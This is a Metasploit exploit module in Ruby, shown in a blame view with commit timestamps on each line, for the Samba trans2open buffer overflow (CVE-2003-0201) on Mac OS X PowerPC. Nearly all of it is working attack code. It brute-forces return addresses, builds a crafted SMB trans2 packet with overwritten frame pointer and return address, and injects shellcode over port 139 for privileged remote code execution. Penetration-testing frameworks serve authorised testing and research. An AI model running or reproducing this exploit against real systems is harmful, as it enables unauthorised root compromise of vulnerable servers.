2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-02-15 00:48:03 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-02-03 03:31:41 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2006-02-03 03:31:41 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::SMB
|
2010-06-15 07:16:04 +00:00
|
|
|
include Msf::Exploit::Brute
|
2006-02-03 03:31:41 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-02-15 00:48:03 +00:00
|
|
|
super(update_info(info,
|
2010-06-15 07:16:04 +00:00
|
|
|
'Name' => 'Samba trans2open Overflow (Mac OS X PPC)',
|
2006-02-03 03:31:41 +00:00
|
|
|
'Description' => %q{
|
2010-06-12 04:27:25 +00:00
|
|
|
This exploits the buffer overflow found in Samba versions
|
2006-02-03 03:31:41 +00:00
|
|
|
2.2.0 to 2.2.8. This particular module is capable of
|
|
|
|
exploiting the bug on Mac OS X PowerPC systems.
|
|
|
|
},
|
2010-06-15 07:16:04 +00:00
|
|
|
'Author' => [ 'hdm', 'jduck' ],
|
2006-02-03 03:31:41 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2010-06-12 04:27:25 +00:00
|
|
|
[ 'CVE', '2003-0201' ],
|
|
|
|
[ 'OSVDB', '4469' ],
|
2010-06-15 07:16:04 +00:00
|
|
|
[ 'BID', '7294' ],
|
|
|
|
[ 'URL', 'http://seclists.org/bugtraq/2003/Apr/103' ]
|
2006-02-03 03:31:41 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'MinNops' => 512,
|
|
|
|
},
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_PPC,
|
2010-02-15 00:48:03 +00:00
|
|
|
'Targets' =>
|
2006-02-03 03:31:41 +00:00
|
|
|
[
|
2010-06-15 07:16:04 +00:00
|
|
|
[ 'Samba 2.2.x - Bruteforce',
|
|
|
|
{
|
|
|
|
# Not necessary on PPC
|
|
|
|
# 'PtrToNonZero' => 0xbffffff4, # near the bottom of the stack
|
|
|
|
'Offset' => 1195,
|
|
|
|
'Bruteforce' =>
|
|
|
|
{
|
|
|
|
'Start' => { 'Ret' => 0xbffffdfc },
|
|
|
|
'Stop' => { 'Ret' => 0xbfa00000 },
|
|
|
|
'Step' => 512
|
|
|
|
}
|
|
|
|
}
|
|
|
|
]
|
2006-02-03 03:31:41 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 7 2003',
|
|
|
|
'DefaultTarget' => 0))
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2010-06-12 04:27:25 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(139)
|
|
|
|
], self.class)
|
2006-02-03 03:31:41 +00:00
|
|
|
end
|
|
|
|
|
2006-09-18 00:30:29 +00:00
|
|
|
# Need to perform target detection
|
|
|
|
def autofilter
|
|
|
|
false
|
|
|
|
end
|
|
|
|
|
2010-06-15 07:16:04 +00:00
|
|
|
def brute_exploit(addrs)
|
2006-02-03 03:31:41 +00:00
|
|
|
|
2010-06-15 07:16:04 +00:00
|
|
|
curr_ret = addrs['Ret']
|
|
|
|
begin
|
|
|
|
print_status("Trying return address 0x%.8x..." % curr_ret)
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2010-06-15 07:16:04 +00:00
|
|
|
connect
|
|
|
|
smb_login
|
2010-06-21 16:53:52 +00:00
|
|
|
|
2010-06-15 07:16:04 +00:00
|
|
|
# 1988 is required for findrecv shellcode
|
|
|
|
pattern = rand_text_english(1988)
|
2010-06-21 16:53:52 +00:00
|
|
|
|
2010-06-15 07:16:04 +00:00
|
|
|
# This stream covers the framepointer and the return address
|
|
|
|
off = target['Offset']
|
|
|
|
pattern[off, 64] = [curr_ret].pack('N') * 16
|
2010-06-21 16:53:52 +00:00
|
|
|
|
2010-06-15 07:16:04 +00:00
|
|
|
# Stuff the shellcode into the request
|
|
|
|
pattern[3, payload.encoded.length] = payload.encoded
|
2010-06-21 16:53:52 +00:00
|
|
|
|
2010-06-15 07:16:04 +00:00
|
|
|
trans =
|
|
|
|
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
|
|
|
|
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
|
|
|
|
pattern
|
2010-02-15 00:48:03 +00:00
|
|
|
|
2010-06-15 07:16:04 +00:00
|
|
|
sock.put(trans)
|
|
|
|
handler
|
|
|
|
disconnect
|
2006-02-03 03:31:41 +00:00
|
|
|
|
2010-06-15 07:16:04 +00:00
|
|
|
rescue EOFError
|
|
|
|
rescue => e
|
2010-06-17 22:11:43 +00:00
|
|
|
print_error("#{e}")
|
2006-02-03 03:31:41 +00:00
|
|
|
end
|
2010-06-15 07:16:04 +00:00
|
|
|
|
2006-02-03 03:31:41 +00:00
|
|
|
end
|
2010-06-15 07:16:04 +00:00
|
|
|
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|